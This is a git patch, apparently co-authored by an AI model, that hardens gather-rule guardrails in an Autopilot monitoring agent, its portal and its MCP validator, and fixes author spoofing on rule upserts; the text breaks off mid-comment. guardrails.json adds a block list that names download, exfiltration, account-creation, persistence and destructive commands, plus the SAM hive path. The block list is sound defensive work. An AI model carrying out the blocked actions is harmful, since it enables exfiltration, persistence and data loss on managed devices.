From 2f8ad82b0a69ad6befaeb44ebe3e98830d9ef91b Mon Sep 17 00:00:00 2001 From: Oliver Kieselbach Date: Tue, 11 Aug 2026 12:29:05 +0200 Subject: [PATCH] gather-rules: mirror hard blocks in portal/MCP, stamp author on PUT-upsert; agent: bootstrap retry tests Codex follow-ups to 1ebc2675: - guardrails.json now mirrors blockedCommandPatterns + maxCommandLength and carries C:\Windows\System32\config in blockedFilePrefixes; portal (guardValidation.ts) and MCP (rule-validation.ts) enforce them in agent order (before the unrestricted-mode early-return), so hard-blocked commands no longer show "Allowed" in unrestricted tenants. GuardrailsParityTests pins the JSON mirror to the C# constants. - gather-rule schema: collectorType enum gains json/xml (agent + portal supported both; MCP validate_rule falsely rejected them); MCP validates json/xml targets with file semantics and rejects activePhases + activeFromPhase set together (backend 400 parity); authoring guide updated. - Author anti-spoof: tenant + global UpdateRule stamp the caller's JWT display name before the service call, closing the PUT-upsert hole where a non-existing ruleId stored the payload author; true updates still preserve the original. GatherRulesFunctionAuthorEndpointTests drives the real endpoints (first HttpRequestData-level test) proving body authors never win. - AgentBootstrap.RetrySelfUpdateAfterEnrollment: internal + UpdateInvokerOverride test seam (RequestGracefulShutdown idiom), LastVersionCheckSucceeded setter internal; AgentBootstrapSelfUpdateRetryTests pin the guard, the relaxed await_enrollment timeouts, and the swallow-everything exception contract with save/restore of the static state. Functions 3958, Agent-Core 2200, Web 670, MCP 543 tests green. Co-Authored-By: Claude Fable 5 --- docs/log.md | 4 + docs/rules/gather-rule-guardrails.md | 11 +- rules/guardrails.json | 25 ++- rules/schema/gather-rule.schema.json | 2 +- rules/scripts/combine.js | 6 + .../Telemetry/Gather/GuardrailsParityTests.cs | 69 +++++++ .../AgentBootstrapSelfUpdateRetryTests.cs | 124 ++++++++++++ .../Monitoring/Runtime/SelfUpdater.cs | 7 +- .../Telemetry/Gather/GatherRuleGuards.cs | 16 +- .../Runtime/AgentBootstrap.cs | 54 ++++- .../GatherRulesFunctionAuthorEndpointTests.cs | 185 ++++++++++++++++++ .../Functions/Rules/GatherRulesFunction.cs | 5 + .../Functions/Rules/GlobalRulesFunction.cs | 6 + .../src/__tests__/rule-validation.test.ts | 59 ++++++ .../src/rule-authoring-guide.ts | 10 +- .../src/rule-authoring.generated.ts | 27 ++- .../src/rule-validation.ts | 41 +++- .../utils/__tests__/guardValidation.test.ts | 47 +++++ .../utils/guardValidation.ts | 51 ++++- .../utils/guardrails.generated.ts | 23 +++ 20 files changed, 741 insertions(+), 31 deletions(-) create mode 100644 src/Agent/AutopilotMonitor.Agent.V2.Core.Tests/Monitoring/Telemetry/Gather/GuardrailsParityTests.cs create mode 100644 src/Agent/AutopilotMonitor.Agent.V2.Core.Tests/Program/AgentBootstrapSelfUpdateRetryTests.cs create mode 100644 src/Backend/AutopilotMonitor.Functions.Tests/GatherRulesFunctionAuthorEndpointTests.cs diff --git a/docs/log.md b/docs/log.md index 0f8e66f5..f1a3aea2 100644 --- a/docs/log.md +++ b/docs/log.md @@ -1,5 +1,9 @@ # Log +## 2026-08-11 + +* **Update**: `rules/gather-rule-guardrails.md` — hard-block mirroring closed across all pre-flight layers: `rules/guardrails.json` now also mirrors `blockedCommandPatterns` + `maxCommandLength` and carries `C:\Windows\System32\config` in `blockedFilePrefixes`; portal (`guardValidation.ts`) and MCP (`rule-validation.ts`) apply them in agent order (before the unrestricted-mode early-return), so a command the agent hard-blocks no longer shows "Allowed" in unrestricted tenants. `GuardrailsParityTests` pins the JSON mirror to the C# constants. MCP `validate_rule` additionally validates `json`/`xml` targets with file semantics (the schema's `collectorType` enum was missing both) and rejects `activePhases`+`activeFromPhase` set together (backend 400 parity). Author stamping extended to PUT-upserts: tenant and global gather-rule updates stamp the caller's JWT display name before the service call, so an upsert of a non-existing ruleId can no longer store a payload-supplied author (true updates still preserve the original author). + ## 2026-08-10 * **Update**: `rules/gather-rule-guardrails.md` — WMI matcher generalized from literal prefix matching to shape parsing: `SELECT <* | property-list> FROM ` is allowed when the class is derived from the existing `SELECT * FROM ` entries (a projection is a strict subset; motivated by `SELECT BatteryStatus FROM Win32_Battery` + `on_change` battery polling that `SELECT *` defeats via fluctuating charge %). Same algorithm mirrored agent/portal/MCP; guardrails.json unchanged. Portal now also gates enabling on the client-side validation (invalid-target custom rules create disabled, cannot be toggled on, force-disable on invalid edit, "Blocked on devices" badge) — UX only, the agent guard stays the boundary. Gather-rule Author is now stamped from the creator's JWT (display name → UPN) at create and immutable on update. diff --git a/docs/rules/gather-rule-guardrails.md b/docs/rules/gather-rule-guardrails.md index 173841f2..815087c0 100644 --- a/docs/rules/gather-rule-guardrails.md +++ b/docs/rules/gather-rule-guardrails.md @@ -7,12 +7,12 @@ description: >- guard rather than trusting rule.Target. resource: src/Agent/AutopilotMonitor.Agent.V2.Core/Monitoring/Telemetry/Gather tags: [gather-rules, security, guardrails, agent] -timestamp: 2026-08-10 +timestamp: 2026-08-11 --- # Concept -A gather rule is authored by a **tenant administrator** through `POST /api/rules/gather` and executed by the agent as **SYSTEM** on an enrolling device. The backend does not validate `collectorType`, `target`, or `parameters` at all — it only enforces scope/emit-mode fields, a 1 MB body cap, and that the rule lands in the caller's own tenant partition. Everything that decides *what a rule may reach* is therefore enforced **on the agent**, in `GatherRuleGuards`. +A gather rule is authored by a **tenant administrator** through `POST /api/rules/gather` and executed by the agent as **SYSTEM** on an enrolling device. The backend does not validate `collectorType`, `target`, or `parameters` at all — it only enforces scope/emit-mode fields, a 1 MB body cap, that the rule lands in the caller's own tenant partition, and that `Author` is stamped from the caller's JWT (create and PUT-upsert; true updates preserve the original author). Everything that decides *what a rule may reach* is therefore enforced **on the agent**, in `GatherRuleGuards`. This is the security boundary. The portal's `ValidationIndicator` is a convenience — the API stays reachable directly and the backend stays validation-free — but since 2026-08 the portal additionally **gates enabling** on the same client-side validation: a custom rule whose target fails validation cannot be toggled on, is created `enabled=false`, and an edit that makes the target invalid force-disables the rule (`targetBlocked` in `app/gather-rules/types.ts`). An enabled rule with an invalid target shows a "Blocked on devices" badge. All of this is UX, not security — the agent guard remains the enforcement point. @@ -44,7 +44,12 @@ but the hard blocks must hold regardless of configuration: PowerShell channels (script-block logging routinely contains secrets in clear text). `rules/guardrails.json` mirrors the blocked lists (`blockedFilePrefixes`, -`blockedEventLogChannels`) **for display only**. Enforcement is the C# constant. +`blockedEventLogChannels`, `blockedCommandPatterns`, `maxCommandLength`) **for display +and pre-flight only**. Enforcement is the C# constant; `GuardrailsParityTests` (agent +test project) pins the JSON mirror to the constants so neither side can drift. The +portal (`utils/guardValidation.ts`) and the MCP validator (`rule-validation.ts`) apply +the mirrored hard blocks in the same order as the agent — before the unrestricted-mode +early-return — so a rule the agent would refuse is never shown as "Allowed". # Examples diff --git a/rules/guardrails.json b/rules/guardrails.json index 5bf774af..db8bac30 100644 --- a/rules/guardrails.json +++ b/rules/guardrails.json @@ -250,6 +250,27 @@ "C:\\Install\\Log" ], "blockedFilePrefixes": [ - "C:\\Users" - ] + "C:\\Users", + "C:\\Windows\\System32\\config" + ], + "blockedCommandPatterns": [ + "Invoke-WebRequest", + "Invoke-RestMethod", + "Start-BitsTransfer", + "wget", + "curl", + "certutil -urlcache", + "New-LocalUser", + "Add-LocalGroupMember", + "net user", + "net localgroup", + "bcdedit", + "bcdboot", + "schtasks /create", + "Register-ScheduledTask", + "Remove-Item -Recurse", + "Format-Volume", + "Set-ExecutionPolicy" + ], + "maxCommandLength": 2000 } diff --git a/rules/schema/gather-rule.schema.json b/rules/schema/gather-rule.schema.json index ef03fb54..6b721cb2 100644 --- a/rules/schema/gather-rule.schema.json +++ b/rules/schema/gather-rule.schema.json @@ -67,7 +67,7 @@ "collectorType": { "type": "string", "description": "Type of data collection.", - "enum": ["registry", "eventlog", "wmi", "file", "command_allowlisted", "logparser"] + "enum": ["registry", "eventlog", "wmi", "file", "json", "xml", "command_allowlisted", "logparser"] }, "target": { "type": "string", diff --git a/rules/scripts/combine.js b/rules/scripts/combine.js index ade90a7a..182805e0 100644 --- a/rules/scripts/combine.js +++ b/rules/scripts/combine.js @@ -154,6 +154,12 @@ ${flatArray(flatEventLogChannels)} export const BLOCKED_EVENT_LOG_CHANNELS: readonly string[] = [ ${flatArray(guardrails.blockedEventLogChannels)} ]; + +export const BLOCKED_COMMAND_PATTERNS: readonly string[] = [ +${flatArray(guardrails.blockedCommandPatterns)} +]; + +export const MAX_COMMAND_LENGTH = ${guardrails.maxCommandLength}; `; fs.writeFileSync(guardrailsOutput, ts, 'utf8'); diff --git a/src/Agent/AutopilotMonitor.Agent.V2.Core.Tests/Monitoring/Telemetry/Gather/GuardrailsParityTests.cs b/src/Agent/AutopilotMonitor.Agent.V2.Core.Tests/Monitoring/Telemetry/Gather/GuardrailsParityTests.cs new file mode 100644 index 00000000..63a3c3b0 --- /dev/null +++ b/src/Agent/AutopilotMonitor.Agent.V2.Core.Tests/Monitoring/Telemetry/Gather/GuardrailsParityTests.cs @@ -0,0 +1,69 @@ +using System.IO; +using System.Linq; +using AutopilotMonitor.Agent.V2.Core.Monitoring.Telemetry.Gather; +using Newtonsoft.Json.Linq; +using Xunit; + +namespace AutopilotMonitor.Agent.V2.Core.Tests.Monitoring.Telemetry.Gather +{ + /// + /// Pins the display mirror in rules/guardrails.json (embedded into this assembly) + /// to the agent's hard-block CONSTANTS in . + /// Enforcement is code-only by design (a JSON parse error must never lift a hard + /// block); the JSON mirror exists so the portal and the MCP validator can + /// pre-flight the same blocks. This test keeps the two from drifting: an addition + /// on either side fails here until the other side follows. + /// + public sealed class GuardrailsParityTests + { + private static JObject LoadEmbeddedGuardrails() + { + var assembly = typeof(GatherRuleGuards).Assembly; + using var stream = assembly.GetManifestResourceStream( + "AutopilotMonitor.Agent.V2.Core.Resources.guardrails.json"); + Assert.NotNull(stream); + using var reader = new StreamReader(stream!); + return JObject.Parse(reader.ReadToEnd()); + } + + [Fact] + public void Blocked_file_prefixes_match_code_constants() + { + var json = LoadEmbeddedGuardrails()["blockedFilePrefixes"]!.ToObject()!; + var code = new[] { GatherRuleGuards.BlockedUsersPrefix } + .Concat(GatherRuleGuards.AdditionalHardBlockedPathPrefixes); + + Assert.Equal( + code.Select(p => p.ToLowerInvariant()).OrderBy(p => p), + json.Select(p => Path.GetFullPath(p).ToLowerInvariant()).OrderBy(p => p)); + } + + [Fact] + public void Blocked_command_patterns_match_code_constants() + { + var json = LoadEmbeddedGuardrails()["blockedCommandPatterns"]!.ToObject()!; + + Assert.Equal( + GatherRuleGuards.HardBlockedCommandPatterns.OrderBy(p => p), + json.OrderBy(p => p)); + } + + [Fact] + public void Max_command_length_matches_code_constant() + { + Assert.Equal( + GatherRuleGuards.MaxCommandLength, + LoadEmbeddedGuardrails()["maxCommandLength"]!.Value()); + } + + [Fact] + public void Blocked_event_log_channels_match_code_constants() + { + var json = LoadEmbeddedGuardrails()["blockedEventLogChannels"]!.ToObject()!; + + Assert.Equal( + GatherRuleGuards.HardBlockedEventLogChannels.OrderBy(c => c), + json.OrderBy(c => c)); + } + } +} diff --git a/src/Agent/AutopilotMonitor.Agent.V2.Core.Tests/Program/AgentBootstrapSelfUpdateRetryTests.cs b/src/Agent/AutopilotMonitor.Agent.V2.Core.Tests/Program/AgentBootstrapSelfUpdateRetryTests.cs new file mode 100644 index 00000000..0e5954e8 --- /dev/null +++ b/src/Agent/AutopilotMonitor.Agent.V2.Core.Tests/Program/AgentBootstrapSelfUpdateRetryTests.cs @@ -0,0 +1,124 @@ +using System; +using System.IO; +using System.Threading.Tasks; +using AutopilotMonitor.Agent.V2.Core.Logging; +using AutopilotMonitor.Agent.V2.Core.Monitoring.Runtime; +using AutopilotMonitor.Agent.V2.Core.Tests.Harness; +using AutopilotMonitor.Agent.V2.Runtime; +using Xunit; + +namespace AutopilotMonitor.Agent.V2.Core.Tests.Program +{ + /// + /// Contract tests for — + /// the post-cert one-shot self-update retry (field case sits-d.cloud, 2026-08-09): + /// guard on , the relaxed + /// timeouts/trigger it passes to the updater, and the swallow-everything exception + /// contract (bootstrap must continue on any updater failure). Uses the + /// seam — no network, no process + /// side effects. + /// + /// Static-hook state: each test saves/restores both statics in ctor/Dispose so + /// parallel-running test classes never observe a leaked value (idiom of + /// SelfUpdaterGracefulShutdownTests). + /// + /// + public sealed class AgentBootstrapSelfUpdateRetryTests : IDisposable + { + private readonly AgentBootstrap.SelfUpdateInvoker _savedInvoker; + private readonly bool _savedVersionCheckFlag; + + public AgentBootstrapSelfUpdateRetryTests() + { + _savedInvoker = AgentBootstrap.UpdateInvokerOverride; + _savedVersionCheckFlag = SelfUpdater.LastVersionCheckSucceeded; + AgentBootstrap.UpdateInvokerOverride = null; + SelfUpdater.LastVersionCheckSucceeded = false; + } + + public void Dispose() + { + AgentBootstrap.UpdateInvokerOverride = _savedInvoker; + SelfUpdater.LastVersionCheckSucceeded = _savedVersionCheckFlag; + } + + private static AgentLogger NewLogger(string path) + => new AgentLogger(Path.Combine(path, "logs"), AgentLogLevel.Info); + + [Fact] + public void Skips_retry_when_startup_version_check_already_succeeded() + { + using var tmp = new TempDirectory(); + var invoked = false; + SelfUpdater.LastVersionCheckSucceeded = true; + AgentBootstrap.UpdateInvokerOverride = (v, dir, console, reason, dl, downgrade, vc) => + { + invoked = true; + return Task.CompletedTask; + }; + + AgentBootstrap.RetrySelfUpdateAfterEnrollment(NewLogger(tmp.Path), consoleMode: false); + + Assert.False(invoked); + } + + [Fact] + public void Retries_with_await_enrollment_trigger_and_relaxed_timeouts() + { + using var tmp = new TempDirectory(); + string? capturedVersion = null, capturedDir = null, capturedReason = null; + bool? capturedConsole = null, capturedDowngrade = null; + int capturedDownloadMs = 0, capturedVersionCheckMs = 0; + AgentBootstrap.UpdateInvokerOverride = (v, dir, console, reason, dl, downgrade, vc) => + { + capturedVersion = v; + capturedDir = dir; + capturedConsole = console; + capturedReason = reason; + capturedDownloadMs = dl; + capturedDowngrade = downgrade; + capturedVersionCheckMs = vc; + return Task.CompletedTask; + }; + + AgentBootstrap.RetrySelfUpdateAfterEnrollment(NewLogger(tmp.Path), consoleMode: true); + + Assert.Equal("await_enrollment", capturedReason); + // Relaxed vs. the boot-speed-tuned startup check (10s/2.5s) — enrollment is + // already past OOBE's critical path here. + Assert.Equal(60000, capturedDownloadMs); + Assert.Equal(10000, capturedVersionCheckMs); + // No cached remote config on a fresh --await-enrollment install → no downgrade override. + Assert.False(capturedDowngrade); + Assert.True(capturedConsole); + Assert.False(string.IsNullOrEmpty(capturedVersion)); + Assert.False(string.IsNullOrEmpty(capturedDir)); + } + + [Fact] + public void Synchronous_invoker_exception_is_swallowed() + { + using var tmp = new TempDirectory(); + AgentBootstrap.UpdateInvokerOverride = + (v, dir, console, reason, dl, downgrade, vc) => throw new InvalidOperationException("boom"); + + var ex = Record.Exception( + () => AgentBootstrap.RetrySelfUpdateAfterEnrollment(NewLogger(tmp.Path), consoleMode: false)); + + Assert.Null(ex); + } + + [Fact] + public void Faulted_update_task_is_swallowed() + { + using var tmp = new TempDirectory(); + AgentBootstrap.UpdateInvokerOverride = (v, dir, console, reason, dl, downgrade, vc) => + Task.FromException(new IOException("download interrupted")); + + var ex = Record.Exception( + () => AgentBootstrap.RetrySelfUpdateAfterEnrollment(NewLogger(tmp.Path), consoleMode: false)); + + Assert.Null(ex); + } + } +} diff --git a/src/Agent/AutopilotMonitor.Agent.V2.Core/Monitoring/Runtime/SelfUpdater.cs b/src/Agent/AutopilotMonitor.Agent.V2.Core/Monitoring/Runtime/SelfUpdater.cs index 0dc5c220..20bc986d 100644 --- a/src/Agent/AutopilotMonitor.Agent.V2.Core/Monitoring/Runtime/SelfUpdater.cs +++ b/src/Agent/AutopilotMonitor.Agent.V2.Core/Monitoring/Runtime/SelfUpdater.cs @@ -98,7 +98,12 @@ namespace AutopilotMonitor.Agent.V2.Core.Monitoring.Runtime /// connectivity — the bootstrap retries the check exactly when this is still false. /// /// - public static bool LastVersionCheckSucceeded { get; private set; } + /// + /// Setter is internal solely as a test seam (InternalsVisibleTo): the bootstrap-retry + /// tests arm/reset the guard without running the real network check. Production code + /// writes it only from . + /// + public static bool LastVersionCheckSucceeded { get; internal set; } /// /// Optional: graceful-shutdown request hook, set by the runtime host once its diff --git a/src/Agent/AutopilotMonitor.Agent.V2.Core/Monitoring/Telemetry/Gather/GatherRuleGuards.cs b/src/Agent/AutopilotMonitor.Agent.V2.Core/Monitoring/Telemetry/Gather/GatherRuleGuards.cs index 263834c0..9a5b3659 100644 --- a/src/Agent/AutopilotMonitor.Agent.V2.Core/Monitoring/Telemetry/Gather/GatherRuleGuards.cs +++ b/src/Agent/AutopilotMonitor.Agent.V2.Core/Monitoring/Telemetry/Gather/GatherRuleGuards.cs @@ -54,9 +54,11 @@ namespace AutopilotMonitor.Agent.V2.Core.Monitoring.Telemetry.Gather @"^SELECT\s+(?:\*|[A-Za-z_][A-Za-z0-9_]*(?:\s*,\s*[A-Za-z_][A-Za-z0-9_]*)*)\s+FROM\s+([A-Za-z_][A-Za-z0-9_]*)(?=\s|$)", RegexOptions.IgnoreCase | RegexOptions.Compiled); - // Hard blocks: never allowed, even in unrestricted mode - private static readonly string BlockedUsersPrefix = Path.GetFullPath(@"C:\Users"); - private static readonly string[] AdditionalHardBlockedPathPrefixes = new[] + // Hard blocks: never allowed, even in unrestricted mode. Internal (not private) + // so GuardrailsParityTests can pin the guardrails.json display mirror to these + // constants — enforcement stays code-only by design. + internal static readonly string BlockedUsersPrefix = Path.GetFullPath(@"C:\Users"); + internal static readonly string[] AdditionalHardBlockedPathPrefixes = new[] { Path.GetFullPath(@"C:\Windows\System32\config"), // SAM, SECURITY, SYSTEM hives }; @@ -69,14 +71,14 @@ namespace AutopilotMonitor.Agent.V2.Core.Monitoring.Telemetry.Gather }; // Hard limit: maximum command length (even in unrestricted mode) - private const int MaxCommandLength = 2000; + internal const int MaxCommandLength = 2000; // Event log channels that are never readable, even in unrestricted mode. // Security carries the audit trail of user behaviour; the PowerShell channels // carry script-block logging, which routinely contains secrets in clear text. // Mirrored in rules/guardrails.json ("blockedEventLogChannels") for the portal // to display — enforcement lives here so a parse error cannot lift it. - private static readonly string[] HardBlockedEventLogChannels = new[] + internal static readonly string[] HardBlockedEventLogChannels = new[] { "Security", "Microsoft-Windows-PowerShell", @@ -86,7 +88,9 @@ namespace AutopilotMonitor.Agent.V2.Core.Monitoring.Telemetry.Gather // Hard-blocked command patterns: never allowed, even in unrestricted mode. // These prevent privilege escalation, persistence, and data exfiltration. - private static readonly string[] HardBlockedCommandPatterns = new[] + // Mirrored in rules/guardrails.json ("blockedCommandPatterns") for portal/MCP + // pre-flight display — enforcement lives here so a parse error cannot lift it. + internal static readonly string[] HardBlockedCommandPatterns = new[] { // Download / exfiltration "Invoke-WebRequest", "Invoke-RestMethod", "Start-BitsTransfer", diff --git a/src/Agent/AutopilotMonitor.Agent.V2/Runtime/AgentBootstrap.cs b/src/Agent/AutopilotMonitor.Agent.V2/Runtime/AgentBootstrap.cs index 899b49cc..d7cb2778 100644 --- a/src/Agent/AutopilotMonitor.Agent.V2/Runtime/AgentBootstrap.cs +++ b/src/Agent/AutopilotMonitor.Agent.V2/Runtime/AgentBootstrap.cs @@ -1,6 +1,7 @@ using System; using System.Linq; using System.Threading; +using System.Threading.Tasks; using AutopilotMonitor.Agent.V2.Core.Configuration; using AutopilotMonitor.Agent.V2.Core.Logging; using AutopilotMonitor.Agent.V2.Core.Monitoring.Runtime; @@ -155,6 +156,28 @@ namespace AutopilotMonitor.Agent.V2.Runtime cleanupServiceFactory: cleanupServiceFactory); } + /// + /// Signature of the self-update invocation performed by + /// — mirrors the + /// parameters this path uses. + /// + internal delegate Task SelfUpdateInvoker( + string currentVersion, + string agentDir, + bool consoleMode, + string triggerReason, + int downloadTimeoutMs, + bool allowDowngrade, + int versionCheckTimeoutMs); + + /// + /// Test seam replacing the real call + /// in (same static-hook idiom as + /// ). Only the in-repo test project + /// (InternalsVisibleTo) can set it; production code never assigns this. + /// + internal static SelfUpdateInvoker UpdateInvokerOverride; + /// /// One-shot self-update retry after the MDM certificate appeared. The startup check in /// Main runs pre-enrollment, where an --await-enrollment install typically has no @@ -166,7 +189,7 @@ namespace AutopilotMonitor.Agent.V2.Runtime /// On update success the process restarts and this method never returns; the /// await-enrollment config was already removed, so the new binary proceeds normally. /// - private static void RetrySelfUpdateAfterEnrollment(AgentLogger logger, bool consoleMode) + internal static void RetrySelfUpdateAfterEnrollment(AgentLogger logger, bool consoleMode) { if (SelfUpdater.LastVersionCheckSucceeded) return; // Startup check reached the manifest — its verdict stands. @@ -176,16 +199,29 @@ namespace AutopilotMonitor.Agent.V2.Runtime logger.Info("Await-enrollment: startup self-update check had failed (no network in early OOBE) — retrying now that enrollment proves connectivity."); var agentDir = System.IO.Path.GetDirectoryName( System.Reflection.Assembly.GetExecutingAssembly().Location) ?? string.Empty; - SelfUpdater.CheckAndApplyUpdateAsync( - currentVersion: Program.GetAgentVersion(), - agentDir: agentDir, - consoleMode: consoleMode, - triggerReason: "await_enrollment", - downloadTimeoutMsOverride: 60000, + SelfUpdateInvoker invoke = UpdateInvokerOverride; + if (invoke == null) + { + invoke = (version, dir, console, reason, downloadTimeoutMs, allowDowngrade, versionCheckTimeoutMs) => + SelfUpdater.CheckAndApplyUpdateAsync( + currentVersion: version, + agentDir: dir, + consoleMode: console, + triggerReason: reason, + downloadTimeoutMsOverride: downloadTimeoutMs, + allowDowngrade: allowDowngrade, + versionCheckTimeoutMsOverride: versionCheckTimeoutMs); + } + invoke( + Program.GetAgentVersion(), + agentDir, + consoleMode, + "await_enrollment", + 60000, // Fresh --await-enrollment installs have no cached remote config yet, so // there is no admin downgrade override to honour on this path. - allowDowngrade: false, - versionCheckTimeoutMsOverride: 10000).GetAwaiter().GetResult(); + false, + 10000).GetAwaiter().GetResult(); } catch (Exception ex) { diff --git a/src/Backend/AutopilotMonitor.Functions.Tests/GatherRulesFunctionAuthorEndpointTests.cs b/src/Backend/AutopilotMonitor.Functions.Tests/GatherRulesFunctionAuthorEndpointTests.cs new file mode 100644 index 00000000..d2d44e8e --- /dev/null +++ b/src/Backend/AutopilotMonitor.Functions.Tests/GatherRulesFunctionAuthorEndpointTests.cs @@ -0,0 +1,185 @@ +using System.Net; +using System.Security.Claims; +using System.Text; +using AutopilotMonitor.Functions.Functions.Rules; +using AutopilotMonitor.Functions.Services; +using AutopilotMonitor.Shared.DataAccess; +using AutopilotMonitor.Shared.Models; +using Azure.Core.Serialization; +using Microsoft.Azure.Functions.Worker; +using Microsoft.Azure.Functions.Worker.Http; +using Microsoft.Extensions.DependencyInjection; +using Microsoft.Extensions.Logging.Abstractions; +using Moq; +using Newtonsoft.Json; + +namespace AutopilotMonitor.Functions.Tests; + +/// +/// Endpoint-level tests proving stamps the rule +/// Author from the caller's JWT and never from the request body — through the real +/// request pipeline (body deserialization → ValidateScopeAndEmitMode → stamp → +/// service). Complements (claim +/// precedence only) and GatherRuleUpdatePartialMergeTests (service-level +/// preservation): those pin the pieces, this pins the wiring. +/// Unlike most function tests in this project, it fakes HttpRequestData — the +/// stamp lives IN the endpoint method, so no smaller seam can prove it. +/// +public class GatherRulesFunctionAuthorEndpointTests +{ + private const string TenantId = "a1b2c3d4-e5f6-7890-abcd-ef1234567890"; + private const string RuleId = "GATHER-CUSTOM-777"; + + // ── request/response fakes ────────────────────────────────────────────── + + private sealed class FakeHttpResponseData : HttpResponseData + { + public FakeHttpResponseData(FunctionContext context) : base(context) { } + public override HttpStatusCode StatusCode { get; set; } = HttpStatusCode.OK; + public override HttpHeadersCollection Headers { get; set; } = new(); + public override Stream Body { get; set; } = new MemoryStream(); + public override HttpCookies Cookies { get; } = new Mock().Object; + } + + private static FunctionContext BuildContext(ClaimsPrincipal? principal) + { + // WriteAsJsonAsync resolves the serializer from InstanceServices. + var services = new ServiceCollection(); + services.AddOptions(); + services.Configure(o => o.Serializer = new JsonObjectSerializer()); + var provider = services.BuildServiceProvider(); + + var items = new Dictionary(); + if (principal != null) + { + items["ClaimsPrincipal"] = principal; + } + + var context = new Mock(); + context.SetupGet(c => c.Items).Returns(items); + context.SetupGet(c => c.InstanceServices).Returns(provider); + return context.Object; + } + + private static HttpRequestData BuildRequest(ClaimsPrincipal? principal, object body) + { + var context = BuildContext(principal); + var req = new Mock(context); + req.SetupGet(r => r.Headers).Returns(new HttpHeadersCollection()); + req.SetupGet(r => r.Body).Returns( + new MemoryStream(Encoding.UTF8.GetBytes(JsonConvert.SerializeObject(body)))); + req.Setup(r => r.CreateResponse()).Returns(() => new FakeHttpResponseData(context)); + return req.Object; + } + + private static ClaimsPrincipal Principal(params (string Type, string Value)[] claims) + => new(new ClaimsIdentity(claims.Select(c => new Claim(c.Type, c.Value)), "TestAuth")); + + private static ClaimsPrincipal AlicePrincipal() + => Principal(("tid", TenantId), ("name", "Alice Admin"), ("upn", "alice@contoso.com")); + + // ── function under test with a captured repository ───────────────────── + + private static (GatherRulesFunction function, List stored) BuildFunction( + GatherRule? existingTenantRule = null) + { + var repo = new Mock(MockBehavior.Loose); + var stored = new List(); + + repo.Setup(r => r.GatherRuleExistsAsync(It.IsAny(), It.IsAny())).ReturnsAsync(false); + repo.Setup(r => r.GetGatherRulesAsync("global")).ReturnsAsync(new List()); + repo.Setup(r => r.GetGatherRulesAsync(TenantId)).ReturnsAsync( + existingTenantRule == null ? new List() : new List { existingTenantRule }); + repo.Setup(r => r.StoreGatherRuleAsync(It.IsAny(), TenantId)) + .Callback((rule, _) => stored.Add(rule)) + .ReturnsAsync(true); + + var service = new GatherRuleService(repo.Object, NullLogger.Instance); + return (new GatherRulesFunction(NullLogger.Instance, service), stored); + } + + private static GatherRule SpoofedPayload() => new() + { + RuleId = RuleId, + Title = "Collect BIOS Config", + CollectorType = "registry", + Target = "HKLM\\SOFTWARE\\RealmJoin\\Custom\\BIOS", + Trigger = "startup", + OutputEventType = "gather_bios_config", + Enabled = true, + Author = "Spoofed Author", + }; + + // ── CreateRule ────────────────────────────────────────────────────────── + + [Fact] + public async Task CreateRule_stamps_author_from_jwt_not_from_body() + { + var (function, stored) = BuildFunction(); + var req = BuildRequest(AlicePrincipal(), SpoofedPayload()); + + var response = await function.CreateRule(req); + + Assert.Equal(HttpStatusCode.Created, response.StatusCode); + var written = Assert.Single(stored); + Assert.Equal("Alice Admin", written.Author); + } + + [Fact] + public async Task CreateRule_falls_back_to_product_name_without_identifying_claims() + { + // App-only-shaped token: authenticated with a tenant but no user display claims. + var (function, stored) = BuildFunction(); + var req = BuildRequest(Principal(("tid", TenantId)), SpoofedPayload()); + + var response = await function.CreateRule(req); + + Assert.Equal(HttpStatusCode.Created, response.StatusCode); + var written = Assert.Single(stored); + Assert.Equal("Autopilot Monitor", written.Author); + } + + // ── UpdateRule ────────────────────────────────────────────────────────── + + [Fact] + public async Task UpdateRule_upsert_of_unknown_rule_stamps_author_from_jwt() + { + // Full-payload PUT for a ruleId with no existing tenant row upserts a new row — + // without the endpoint stamp the payload's author would be stored verbatim. + var (function, stored) = BuildFunction(existingTenantRule: null); + var req = BuildRequest(AlicePrincipal(), SpoofedPayload()); + + var response = await function.UpdateRule(req, RuleId); + + Assert.Equal(HttpStatusCode.OK, response.StatusCode); + var written = Assert.Single(stored); + Assert.Equal("Alice Admin", written.Author); + } + + [Fact] + public async Task UpdateRule_true_update_keeps_original_author_over_editor_and_body() + { + var existing = new GatherRule + { + RuleId = RuleId, + Title = "Collect BIOS Config", + CollectorType = "registry", + Target = "HKLM\\SOFTWARE\\RealmJoin\\Custom\\BIOS", + Trigger = "startup", + OutputEventType = "gather_bios_config", + IsBuiltIn = false, + IsCommunity = false, + Author = "Original Creator", + }; + var (function, stored) = BuildFunction(existing); + // Bob edits Alice's rule; neither Bob nor the spoofed body author may win. + var req = BuildRequest( + Principal(("tid", TenantId), ("name", "Bob Editor")), SpoofedPayload()); + + var response = await function.UpdateRule(req, RuleId); + + Assert.Equal(HttpStatusCode.OK, response.StatusCode); + var written = Assert.Single(stored); + Assert.Equal("Original Creator", written.Author); + } +} diff --git a/src/Backend/AutopilotMonitor.Functions/Functions/Rules/GatherRulesFunction.cs b/src/Backend/AutopilotMonitor.Functions/Functions/Rules/GatherRulesFunction.cs index 6683bf30..e48619a1 100644 --- a/src/Backend/AutopilotMonitor.Functions/Functions/Rules/GatherRulesFunction.cs +++ b/src/Backend/AutopilotMonitor.Functions/Functions/Rules/GatherRulesFunction.cs @@ -128,6 +128,11 @@ namespace AutopilotMonitor.Functions.Functions.Rules return badRequest; } + // Same anti-spoof stamp as CreateRule: on a true update the service replaces + // this with the original author (immutable attribution), but a full-payload PUT + // that upserts a rule with no existing row must not store the payload's author. + rule.Author = TenantHelper.GetUserDisplayName(req) ?? "Autopilot Monitor"; + try { var success = await _ruleService.UpdateRuleAsync(tenantId, rule); diff --git a/src/Backend/AutopilotMonitor.Functions/Functions/Rules/GlobalRulesFunction.cs b/src/Backend/AutopilotMonitor.Functions/Functions/Rules/GlobalRulesFunction.cs index d747a58f..bdf1a3a2 100644 --- a/src/Backend/AutopilotMonitor.Functions/Functions/Rules/GlobalRulesFunction.cs +++ b/src/Backend/AutopilotMonitor.Functions/Functions/Rules/GlobalRulesFunction.cs @@ -1,4 +1,5 @@ using System.Net; +using AutopilotMonitor.Functions.Helpers; using AutopilotMonitor.Functions.Services; using AutopilotMonitor.Shared.Models; using Microsoft.Azure.Functions.Worker; @@ -110,6 +111,11 @@ namespace AutopilotMonitor.Functions.Functions.Rules if (scopeError != null) return await BadRequestAsync(req, scopeError); + // Same anti-spoof stamp as the tenant route: true updates keep the original + // author (service-level preservation); a PUT-upsert with no existing row + // stores the editing admin, never the 